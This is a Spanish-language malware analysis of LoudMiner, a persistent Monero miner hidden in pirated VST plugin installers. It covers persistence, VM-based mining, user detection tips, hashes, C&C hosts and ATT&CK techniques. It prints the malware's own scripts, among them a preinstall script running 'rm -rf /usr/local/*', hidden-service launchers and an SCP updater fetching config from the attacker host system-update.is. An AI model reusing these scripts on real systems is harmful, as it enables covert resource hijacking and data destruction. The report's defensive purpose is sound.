LoudMiner es un caso inusual de un minero de criptomonedas persistente distribuido para macOS y Windows desde Agosto de 2018. Utiliza programas de virtualización –QEMU en macOS y VirtualBox en Windows- para minar criptomonedas en una máquina virtual Tiny Core Linux, logrando que sea multiplataforma. Viene junto a copias piratas de programas VST (del inglés Virtual Studio Technology). El minero en sí está basado en XMRig (Monero) y utiliza un pool de minería, por lo que es imposible rastrear potenciales transacciones.
Distribución
Al momento de escribir este artículo, existen 137 plugins VST (42 son para Windows y 95 para macOS) disponibles en un único sitio web creado en WordPress con un dominio registrado el 24 de Agosto de 2018.
El primero de los programas VST (Kontakt Native Instruments 5.7 para Windows) fue cargado el mismo día. El tamaño de las aplicaciones hace que sea prácticamente imposible de analizar, aunque consideramos que podemos asumir con seguridad que todas están troyanizadas.
Las aplicaciones en sí no están alojadas en el sitio basado en WordPress, sino en 29 servidores externos, los cuales pueden encontrarse en la sección IoCs. Los administradores del sitio también actualizaron con frecuencia las aplicaciones con versiones más nuevas, haciendo que sea más difícil rastrear la primera de las versiones del minero.
Independientemente de la naturaleza de las aplicaciones apuntadas por los cibercriminales, es interesante observar que su propósito está relacionado a la producción de audio. En este sentido, las computadoras en las que están instaladas estas aplicaciones VST deberían contar con un buen poder de procesamiento, por lo que altos niveles de consumo del CPU no es algo que sorprenda a los usuarios de estos equipos. Además, estas aplicaciones son generalmente complejas, por lo que no resulta algo inesperado para los usuarios que sean archivos de gran tamaño. Asimismo, los atacantes utilizan esto en beneficio propio para camuflar las imágenes de máquina virtual (VM, por sus siglas en inglés). Cabe destacar que la decisión de utilizar máquinas virtuales, en lugar de una solución de aprendizaje, es un punto a remarcar y no es algo que vemos con frecuencia.
Los siguientes son algunos ejemplos de programas VST, así como algunos comentarios que se pueden encontrar en el sitio web.
- Propellerhead Reason
- Ableton Live
- Sylenth1
- Nexus
- Reaktor 6
- AutoTune
Reportes de usuarios
Hemos visto varios hilos en foros en los que los usuarios se quejan acerca del proceso qemu-system-x86_64, ya que utiliza el 100% de su CPU en Mac:
Un usuario llamado “Malconi” (https://discussions.apple.com/thread/8602989) dijo lo siguiente:
“Desafortunadamente, tuve que reinstalar OSX, el problema fue que Ableton Live 10, el cual descargué de un sitio de Torrent y no del sitio oficial, también instala un minero que corre en segundo plano causando esto”. El mismo usuario adjunto capturas de pantalla del Activity Monitor de macOS en el que se indican 2 procesos – qemu-system-x86_64 y tools-service – utilizando el 25% de los recursos del CPU y corriendo como root”.
Análisis de las aplicaciones pirateadas
La idea general de los análisis tanto para macOS como Windows arrojan lo mismo:
- Una aplicación empaquetada junto a un programa de virtualización, una imagen Linux y otros archivos adicionales son utilizados para lograr persistencia.
- Los usuarios descargan las aplicaciones y siguen las instrucciones adjuntas acerca de cómo instalar estos programas VST.
- LoudMiner se instala primero y luego el plugin VST.
- LoudMiner se esconde y se vuelve persistente en el arranque.
- La máquina virtual de Linux es ejecutada y el proceso de minado comienza.
- Scripts dentro de la máquina virtual pueden contactar el servidor C&C para actualizar el minero (configuración y binarios).
Mientras analizábamos las diferentes aplicaciones VST, identificamos cuatro versiones del minero, mayormente basado en cómo es empaquetado junto al actual programa, el dominio del servidor C&C, y algo que creemos es un string de versión creado por el autor.
macOS
Hasta el momento hemos identificado tres versiones para macOS de este malware. Todas ellas incluyen la necesidad de correr QEMU en installerdata.dmg desde donde todos los archivos copiados sobre /usr/local/bin y tiene los permisos apropiados que fueron siendo establecidos durante el camino. Cada versión del minero puede ejecutar dos imágenes a la vez, cada una tomando 128 MB de RAM y un núcleo del CPU. La persistencia es lograda al añadir archivos plist en /Library/LaunchDaemons con RunAtLoad configurado en true. También cuentan con KeepAlive configurado en true, asegurándose de que el proceso se reiniciará en caso de ser detenido.
Cada una de las versiones cuenta con los siguientes componentes:
- Imágenes QEMU de Linux.
- Scripts de shell utilizados para ejecutar las imágenes QEMU.
- Daemons utilizados para iniciar los scripts de shell en el arranque y mantenerlos corriendo.
- Un script de shell para monitorear el CPU junto con un daemon que lo acompaña y que puede iniciar/detener el minado según el uso del CPU y si el proceso Activity Monitor se está ejecutando.
El script de monitoreo del CPU puede iniciar y detener el minado mediante la carga y remoción del daemon. Si el proceso Activity Monitor está corriendo, el minado se detiene. De lo contrario, verifica durante cuánto tiempo el sistema ha estado inactivo en segundos:
ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'
Si ha sido mayor a los 2 minutos, comienza con el minado. Si ha sido menor a los 2 minutos, verifica el uso del CPU.
ps -A -o %cpu | awk '{s+=$1} END {print s }'
…divide eso por el número de núcleos del CPU:
sysctl hw.logicalcpu |awk '{print $2 }')
…y si es superior que 85%, detiene el minado. El script en sí mismo presenta algunos cambios entre las distintas versiones, pero la idea general se mantiene igual.
Una vez que la instalación finalizó, todos los archivos de instalación que tengan alguna relación con el minero son eliminados.
Versión 1
Los archivos del minero en el paquete de las aplicaciones VST descargadas no están ofuscados ni están ubicados en otro paquete; están instalados junto al programa VST en las siguientes ubicaciones:
- /Library/Application Support/.Qemusys
- qemu-system-x86_64 – – limpia el binario QEMU
- sys00_1-disk001.qcow2 – Imagen Linux (primera)
- qemuservice sript de shell que ejecuta la primera imagen a través del binario qemu-system-x86_64 (ver listado de Script 1)
- /Library/Application Support/.System-Monitor
- system-monitor.daemon – ejecuta la primera imagen a través del binario system-monitor
- /usr/local/bin
- .Tools-Service
- sys00_1-disk001.qcow2 – Imagen Linux (segunda)
- tools-service.daemon –ejecuta la segunda imagen a través del binario tools-service
- cpumonitor –inicia/detiene el minado según el tiempo de inactividad y el uso del CPU
- system-monitor –copia del binario qemu-system-x86_64
- tools-service –copia del binario qemu-system-x86_64
- .Tools-Service
- /Library/LaunchDaemons
- buildtools.system-monitor.plist – ejecuta system-monitor.daemon
- buildtools.tools-service.plist – ejecuta tools-service.daemon
- modulesys.qemuservice.plist – ejecuta qemuservice
- systools.cpumonitor.plist – ejecuta cpumonitor
#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;
Script 1: shell script qemuservice
Una vez copiadas las dependencias, todos los daemons relacionados con el minero son ejecutados y, a continuación, se instala el software real:
- qemuservice no iniciará la iamgen si el proceso Activity Monitor se está ejecutando. De hecho, si se está ejecutando, descargará el plist que lanzó.
- tools-service.daemon lanzará la imagen solo cuando el proceso qemu-system-x86_64 no se esté ejecutando y después de suspenderse durante 45 minutos.
- System-monitor.daemon ejecutará la imagen solo si se detecta la CPU Intel i5, i7 o i9.
Estos scripts utilizan el mismo comando para iniciar la imagen QEMU, pero solo se diferencian en los nombres y en la ruta de la imagen.
Hemos encontrado las siguientes capturas de pantalla relacionadas a la versión 1 del minero:
La imagen de Little Snitch indica que algunas conexiones del proceso qemu-system-x86_64 fueron bloqueadas. Específicamente, hopto[.]org (un servicio de nombre de host gratuito) es un C&C utilizado por la versión 1 del minero
Versión 2
Los archivos del minero están en data_installer.pkg dentro del paquete de la aplicación descargada. Primero se instala data_installer.pkg y luego el software VST. Antes de la instalación, la versión 1 del minero se elimina junto con la ejecución del comando:
rm -rf /usr/local/*
Como se ve en el listado en el Script 2, solo lo hace cuando detecta un proceso qemu-system-x86_64 en ejecución
#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;
Script 2: data_installer.pkg script de preinstalación que elimina la versión
Los siguientes archivos temporales son creados:
- /Users/Shared
- z1 - binario QEMU
- z1.daemon - ejecuta la imagen QEMU con el binario QEMU
- z1.qcow2 - imagen QEMU
- z1.plist - ejecuta z1.daemon
- z3 – Script de monitoreo del CPU, pequeño cambio respecto de la versión 1 cpumonitor
- z3.plist - utilizado para ejecutar z3
- randwd - genera nombres aleatorios
Una vez copiadas las dependencias, se instala el minero. Esta vez, los nombres de los binarios QEMU, plist y directorios de QEMU son aleatorios mediante el script randwd. La instalación del minero crea dos copias de z1, z1.daemon, z1.qcow2 y z1.plist . Para cada copia, sucede lo siguiente:
- Se crea un directorio con un nombre aleatorio en /Library/Application Support
- El binario QEMU z1 lleva el mismo nombre que el directorio y es copiado en /usr/local/bin
- z1.daemon (ver listado en Script 3) y z1.qcow2 son copiados en este directorio bajo los nombres aleatorios
- z1.plist es copiado con el mismo com.<random_name>.plist en /Library/LaunchDaemons
Los archivos z1.daemon, z1.plist, z3 y z3.plist sirven como plantillas. En estos archivos, las referencias a otros scripts, binarios, plist, etc. son reemplazadas por su correspondiente nombre aleatorio generado.
También es elegido un nombre aleatorio para el script de shell para monitorear el CPU y para el archivo plist que lo acompaña. z3 es copiado en /usr/local/bin y el plist en /Library/LaunchDaemons bajo el nombre com.<random_name>.plist.
#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;
Script 3. shell script z1.daemon
La versión 2 es un poco más limpia y/o simple que la versión 1. Solo hay una imagen QEMU, con dos copias realizadas; lo mismo para los scripts para ejecutar imágenes, los daemons y el cpumonitor. Aunque la versión 2 aleatoriza sus nombres de archivos y directorios, solo se puede instalar una vez porque la instalación verifica los procesos en ejecución con accel = hvf en su línea de comandos.
De las aplicaciones de la versión 2 que hasta ahora hemos revisado, el hash SHA1 del data_installer.pkg siempre es 39a7e86368f0e68a86cce975fd9d8c254a86ed93.
Versión 3
Los archivos del minero están en un archivo DMG cifrado llamado do.dmg, dentro del paquete de la aplicación. El DMG está montado con el siguiente comando
printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.
El minero DMG contiene un solo paquete: datainstallero.pkg. Esto y el paquete del software son instalados.
El contenido del paquete de datainstallero.pkg y data_installer.pkg de la versión 2 son más o menos iguales, pero datainstallero.pkg agrega dos scripts ofuscados (clearpacko.sh e installpacko.sh) y ofusca un script existente - randwd:
- clearpacko.sh elimina la versión 1 del minero al igual que lo hace la versión 2.
- installpacko.sh instala el minero de la misma manera que lo hace la versión 2, excepto los comentarios que han sido removidos del script.
El SHA1 del do.dmg sigue siendo el mismo: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9
Ejecutando la imagen Linux
Todas las versiones utilizan múltiples scripts shell para ejecutar la imagen. Los scripts de shell son ejecutados por plists en el arranque y se mantienen vivos.
- Versión 1 ejecuta los siguientes binarios (copias de qemu-system-x86_64) para ejecutar las imágenes QEMU: qemu-system-x86_64, system-monitor, tools-service.
- La versión 2 y 3 utilizan el mismo comando, pero tanto el nombre de archivo del binario, el directorio en Application Support y el nombre de archivo de QEMU es aleatorizado.
Todas las versiones utilizan los siguientes interruptores:
- -M accel=hvf para utilizar el frameweork Hypervisor como un acelerador. HVF fue introducido con OS X 10.10 y el soporte para HVF fue añadido en QEMU 2.12, el cual fue lanzado en abril de 2018.
- -display none por lo que la máquina virtual se ejecuta sin una interfaz gráfica.
Debido a que la imagen es ejecutada sin especificar la cantidad de RAM y números de núcleos de CPU, los valores por defecto utilizados son: 1 núcleo CPU y 128MB de RAM. Todas las versiones pueden ejecutar 2 imágenes.
Windows (versión 4)
A partir del string que extrajimos de la aplicación, definimos a la versión 4 como la única que hemos visto hasta ahora para Windows. Como dijimos anteriormente, la lógica es muy similar a la versión para macOS. Cada aplicación para Windows está empaquetada como un instalador MSI que instala la aplicación “creackeada”, y la Figura 8 muestra la ventana emergente por la instalación del driver de VirtualBox cuando corre el instalador de un VST “creackeado” desde vstcrack[.]com.
VirtualBox se instala en su nombre de carpeta habitual (C: \ Archivos de programa \ Oracle); sin embargo, los atributos del directorio se configuran como "ocultos". Luego, el instalador copia la imagen de Linux y VBoxVmService (un servicio de Windows utilizado para ejecutar una máquina virtual VirtualBox como un servicio) en C: \ vms , que también es un directorio oculto. Una vez que se completa la instalación, el instalador ejecuta un script por lotes compilado con BAT2EXE (vea la lista desempaquetada en Script 4) para importar la imagen de Linux y ejecutar VmServiceControl.exe para iniciar la máquina virtual como un servicio.@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"
Script 4: Script de lotes utilizado para ejecutar la máquina virtual de Linux como servicio
Este método es utilizado para asegurar la persistencia del minero luego del reinicio. De hecho, el servicio VboxVmService viene con un archivo de configuración (ver Script 5) en el cual es posible habilitar la opción AutoStart para que la máquina virtual sea ejecutada automáticamente junto con el arranque
[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes
Script 5: Archivo de configuración para VBoxVmService con AutoStart habilitado
El archivo OVF incluido en la imagen Linux describe la configuración del hardware de la máquina virtual (ver Script 6): utiliza 1GB de RAM y 2 núcleos CPU (con un uso máximo de 90%).
<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>
Script 6: Configuración del hardware de la imagen Linux
Imagen Linux
La imagen Linux es Tiny Core Linux 9.0 configurada para correr XMRig, así como algunos archivos y scripts para mantener el minero actualizado de forma continua. Los archivos más interesantes son:
- /root/.ssh/{id_rsa, id_rsa.pub} – el par de claves SSH utilizadas para actualizar el minero desde el servidor C&C utilizando SCP.
- /opt/{bootsync.sh, bootlocal.sh} –los comandos de inicio de sistema que intentan actualizar el minero desde el servidor C&C y ejecutarlo (ver Scripts 7 y 8):
/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin
Script 7. bootsync.sh
/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig
Script 8. bootlocal.sh
- /mnt/sda1/tools/bin – principales archivos y scripts utilizados para actualizar y ejecutar el minero.
- /mnt/sda1/tools/xmrig – contiene el código fuente de XMRIG (del repositorio de GitHub).
La configuración del minero se guarda en /mnt/sda1/tools/bin/config.json y contiene principalmente el nombre de dominio y el puerto utilizado para el pool de minería, el cual puede diferir según la versión (consulte los ejemplos en la sección IoC).
El mecanismo de actualización es llevado adelante a través de SCP (Secure File Copy) por tres scripts diferentes:
- xmrig_update - uactualiza la configuración del minero (config.json);
- ccommand - actualiza ccommand_update, xmrig_update (see Script 9), updater.sh, xmrig;
- ccommand_update - actualiza ccommand;
De acuerdo a lo que hemos visto, la configuración del minero se actualiza una vez por día.
#!/bin/sh
ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null x01@system-update.is:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json
Script 9. xmrig_update
Con el fin de identificar una sesión de minería en particular, un archivo que contiene la dirección IP de la máquina y la fecha en la que es creado por el script idgenerator junto a su salida, es enviado al servidor C & C mediante updater.sh.
Protección
Obviamente, la mejor recomendación para estar protegido ante este tipo de amenazas es no descargar copias piratas de programas pagos. Sin embargo, hay algunos aspectos que pueden ayudarlo a identificar cuando una aplicación contiene un código no deseado:
- Una ventana emergente de un inesperado instalador “adicional” (en este caso el adaptador de red de Oracle).
- Alto consumo del CPU por un proceso que no has instalado (QEMU o VirtualBox en este caso).
- Un nuevo servicio añadido a la lista de servicios de inicio (Windows) o un nuevo Daemon de Ejecución (macOS).
- Conexiones de red hacia nombres de dominio extraños (tales como system-update[.]info o system-check[.]services).
Indicadors de Compromiso (IoCs)
Hashes
Aplicaciones para macOS “crackeadas” (versiones 1-3)
SHA-1 | Filename | ESET detection name | Version number |
---|---|---|---|
71030028c4e1b844c85138bd77ddea96a190ec2c | Virtual_DJ_8_Pro_Infinity_macOS.pkg | OSX/LoudMiner.A | 1 |
32c80edcec4f7bb3b494e8949c6f2014b7f5db65 | Native Instruments Massive Installer.pkg | OSX/LoudMiner.A | 1 |
7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90 | Massive_v1.5.5_Installer_macOS.dmg | OSX/LoudMiner.B | 2 |
0b40bd0754637d5be2ada760ff0ecfda7afe03d7 | Native_Instruments_Effects_Series_Mod_Pack.dmg | OSX/LoudMiner.B | 2 |
88efc767a32299e922f1b41f82c8d584585e2161 | Spectrasonics_Omnisphere_2.5_OSx.dmg | OSX/LoudMiner.C | 3 |
e9c9d17d006fb03d67b736c0826df0af8ca6d5fd | Lennar_Digital_Sylenth1_2.2.1.dmg | OSX/LoudMiner.C | 3 |
Aplicaciones para Windows “crackeadas” (versiones 4)
SHA-1 | Filename | ESET detection name |
---|---|---|
23faacfc23cfef65504d7fa20854030b96a9df91 | Ableton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip | Win32/LoudMiner.A |
5a8682eae69b2e11d45980941a972bd734630207 | Infected-Mushroom-Manipulator-V1.0.3.zip | Win32/LoudMiner.A |
60a8f1d4a028153271093e815e8267bd25fde852 | Sonic_Academy_ANA_2.0.3_x86_x64.msi | Win32/LoudMiner.A |
7c7876058783da85d5502b9406f7fb4d26f66238 | SoundToys_5.0.1_x64-SetupFiles.rar | Win32/LoudMiner.A |
a1a1dc7876d71749a8bc5690c537451770ef4ab8 | Valhalla-DSP-Full-Bundle-setupfiles.zip | Win32/LoudMiner.A |
Imágenes Linux
SHA-1 | Filename | Version number |
---|---|---|
dd9b89a3c5a88fb679f098e2c2847d22350e23b1 | sys00_1-disk001.qcow2 | 1 |
d1e42e913da308812dd8da1601531b197c1a09a1 | sys00_1-disk001.qcow2 | 1 |
39a7e86368f0e68a86cce975fd9d8c254a86ed93 | z1.qcow2 (renamed with a randomized name) | 2 |
59026ffa1aa7b60e5058a0795906d107170b9e0f | z1.qcow2 (renamed with a randomized name) | 3 |
fcf5c3b560295ee330b97424b7354fd321757cc6 | sys00_1.ova | 4 |
fc60431a0172d5b8cf4b34866567656467cf861c | sys00_1.ova | 4 |
Nombres de archivo
macOS
- /Library/Application Support/.Qemusys
- /Library/Application Support/.System-Monitor
- /usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}
- /Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}
Windows
- C:\vms
Hostnames
vstcrack[.]com (137[.]74.151.144)
Download hosts (via HTTP on port 80)
- 185[.]112.156.163
- 185[.]112.156.29
- 185[.]112.156.70
- 185[.]112.157.102
- 185[.]112.157.103
- 185[.]112.157.105
- 185[.]112.157.12
- 185[.]112.157.181
- 185[.]112.157.213
- 185[.]112.157.24
- 185[.]112.157.38
- 185[.]112.157.49
- 185[.]112.157.53
- 185[.]112.157.65
- 185[.]112.157.72
- 185[.]112.157.79
- 185[.]112.157.85
- 185[.]112.157.99
- 185[.]112.158.112
- 185[.]112.158.133
- 185[.]112.158.186
- 185[.]112.158.190
- 185[.]112.158.20
- 185[.]112.158.3
- 185[.]112.158.96
- d-d[.]host (185[.]112.158.44)
- d-d[.]live (185[.]112.156.227)
- d-d[.]space (185[.]112.157.79)
- m-m[.]icu (185[.]112.157.118)
Update hosts (via SCP)
- aly001[.]hopto.org (192[.]210.200.87, port 22)
- system-update[.]is (145[.]249.104.109, port 5100)
Mining hosts
- system-update[.]info (185[.]193.126.114, port 443 or 8080)
- system-check[.]services (82[.]221.139.161, port 8080)
Técnicas MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1035 | Service Execution | On Windows, the Linux image is run as a service with VboxVmService. |
Persistence | T1050 | New Service | Install the Linux virtual machine as a service with VboxVmService. |
T1062 | Hypervisor | Install a type-2 hypervisor on the host (VirtualBox or QEMU) to run the miner. | |
T1160 | Launch Daemon | The macOS versions use a Launch Daemon to ensure the persistence. | |
Defense Evasion | T1027 | Obfuscated Files or Information | Some shell scripts are obfuscated, and some installers are encrypted in macOS versions. |
T1045 | Software Packing | Use BAT2EXE to pack batch script in Windows versions. | |
T1158 | Hidden Files and Directories | The VirtualBox installation folder and the directory containing the Linux image are hidden. | |
Command and Control | T1043 | Commonly Used Port | Use TCP ports 443 and 8080 for mining pool communication. |
T1105 | Remote File Copy | Use SCP (port 22 or 5100) to copy files from/to the C&C server. | |
Impact | T1496 | Resource Hijacking | Use victim machines to mine cryptocurrency (Monero). |